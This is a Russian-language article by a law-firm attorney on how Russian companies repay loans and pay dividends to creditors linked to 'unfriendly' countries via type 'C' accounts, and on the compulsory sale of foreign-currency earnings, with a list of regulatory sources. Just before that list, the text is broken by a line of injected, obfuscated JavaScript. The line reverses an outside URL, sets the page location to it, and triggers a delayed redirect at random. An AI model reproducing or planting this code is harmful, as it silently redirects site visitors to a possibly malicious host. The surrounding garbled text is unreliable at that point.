Статья Петра Мацкевича, адвоката Orchards, для журнала «Юрист компании».
В статье закрыли провалы в актах о том, как российским компаниям погашать кредиты, займы и выплачивать дивиденды лицам, которые связаны с «недружественными» странами, и продавать валютную выручку.
Как погашать кредиты, займы и выплачивать дивиденды лицам из «недружественных» стран
Исполнять обязательства перед иностранными кредиторами, которые связаны с «недружественными» странами(РП): погашать кредиты и займы, выплачивать дивиденды теперь российским компаниям приходится в рублях через специальный счет, если сумма – свыше 10 млн руб. в календарный месяц(УП95). Для этого компания – резидент-должник вправе подать в банк заявление об открытии счета типа «С» в рублях на имя иностранного кредитора(ЦБ). Запрашивать его согласие не требуется. Личная явка представителя иностранного кредитора и документы от него, которые обычно нужны для открытия счета(204И), также не понадобятся(ЦБ). Остальным кредиторам, которые не подпадают под ограничения из Указа Президента № 95, выплачивать суммы нужно в прежнем порядке: на их банковские счета(ЦБ).
Какие вопросы возникают у компаний. Самые частые вопросы: в какой банк и по какой форме направлять заявление, чтобы открыть счет типа «С»? Российская компания вправе выбрать банк по своему усмотрению: она не обязана направлять заявление в тот, в котором состоит на учете ее контракт с иностранным кредитором(ЦБ). Форма заявления нормативно не установлена. Банк вправе самостоятельно ее разработать и утвердить. Чтобы открыть счет, заявления будет достаточно. Заключать договор банковского счета не придется. Сделать это должен будет иностранный кредитор, когда обратится в банк, чтобы забрать деньги, которые находятся на открытом на его имя счете типа «С».
Использовать счет типа «С» нужно, если совокупный размер всех обязательств российской компании – резидента-должника перед всеми ее иностранными кредиторами в календарный месяц превышает 10 млн руб. или эквивалент этой суммы в иностранной валюте. Пересчитывать нужно по официальному курсу Центрального банка, который установлен на 1-е число каждого месяца.
Также компании сталкиваются с ситуацией, когда контрагент-кредитор – не из «недружественной» страны, но в банке из такой страны у него открыт счет. Еще вариант: аффилированное лицо нерезидента-контрагента зарегистрировано в «недружественной» стране. В подобных случаях также придется открывать счет типа «С».
В каком порядке продавать валютную выручку
50 процентов валютной выручки, которая поступает на счета российских компаний – резидентов-участников внешнеэкономической деятельности, они обязаны продавать. Это правило действует с 24 мая(УП303). До этого размер был выше – 80 процентов(УП79). Требование распространяется на любые виды иностранных валют. Продать валютную выручку, то есть фактически обменять ее на сумму в рублях, компания вправе как уполномоченному банку, в котором она находится на обслуживании, так и иному уполномоченному банку либо на организованных торгах(ЦБ).
Продать валютную выручку необходимо в течение 120 дней. Срок течет со дня, когда средства зачислили на транзитный валютный счет в уполномоченном банке(ЦБ). Первоначально срок был короче – 3 рабочих дня.
Сумму валютной выручки резидент вправе уменьшить на расходы и платежи, которые связаны с исполнением контракта(ЦБ). Вычесть удастся оплату:
- транспортировки, страхования и экспедирования грузов;
- таможенных пошлин и сборов;
- услуг международной электросвязи, включая роуминг;
- услуг, которые связаны с приобретением за пределами территории России топлива, продовольствия и иных товаров, необходимых, чтобы обеспечить эксплуатацию и техническое обслуживание, ремонт транспортных средств.
Какие вопросы возникают у компаний.
Самые частые вопросы: можно ли не продавать валютную выручку, если компании нужна валюта для закупки товаров у иностранных компаний? По какому курсу осуществляется продажа валютной выручки: по дате зачисления или по дате продажи? Какая ответственность предусмотрена за нарушение требования о продаже валютной выручки?
По общему правилу продажа валюты должна быть осуществлена в обязательном порядке. Исключения установлены для лиц, которые одновременно являются экспортерами и импортерами (см. Протокол заседания Правительственной комиссии № 39 от 26.04.2022). Продажа осуществляется по текущему рыночному курсу на дату продажи, таким образом резидент вправе в течение 120-идневного срока решать, когда ему выгоднее продать валюту. За нарушение требований по обязательной продаже валюты компанию могут привлечь к ответственности по ст. 15.25 КоАП РФ.
Кого в Указах Президента понимают под резидентом и иностранным лицом из «недружественной» страны
Лица иностранных государств, на сделки с которыми установлены ограничения, – это не только компании, которые зарегистрированы в «недружественной» стране, или физлицо с подобным гражданством. Это еще и организации, которые преимущественно ведут деятельность или извлекают прибыль в «недружественном» государстве. Также это лица, которые находятся под контролем указанных иностранных лиц, вне зависимости от мест их регистрации или ведения деятельности. Понятие «иностранное лицо» не равнозначно понятию «нерезидент». Его нужно определять в соответствии с Законом об основах государственного регулирования внешнеторговой деятельности.
Понятие «резидент» определяется согласно статье 1 Закона о валютном регулировании и валютном контроле, а не в соответствии со статьей 207 Налогового кодекса. На это указывает Центральный банк.
Источники: пункты 11, 23 статьи 2 Федерального закона от 08.12.2003 № 164-ФЗ, п. 1.10 официального разъяснения Банка России от 18.03.2022 № 2-ОР.
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor has-alpha-channel-opacity»/>
РП Распоряжение Правительства от 05.03.2022 № 430-р
УП95 Указ Президента от 05.03.2022 № 95
ЦБ Решение Совета директоров Банка России от 18.03.2022
204И Инструкция Банка России от 30.06.2021 № 204-И
ЦБ П. 1.6 официального разъяснения Банка России от 18.03.2022 № 2-ОР
ЦБ Письмо Банка России от 21.04.2022 № 28-4-1/2139
ЦБ Письмо Банка России от 16.05.2022 № 12-4-2/3652
УП303 Указ Президента от 23.05.2022 № 303
УП79 Указ Президента от 28.02.2022 № 79
ЦБ П. 1.1, 1.6 официальных разъяснений Банка России от 04.04.2022 № 3-ОР
ЦБ Решение Совета директоров Банка России от 26.05.2022
ЦБ П. 1.2 официальных разъяснений Банка России от 16.04.2022 № 4-ОР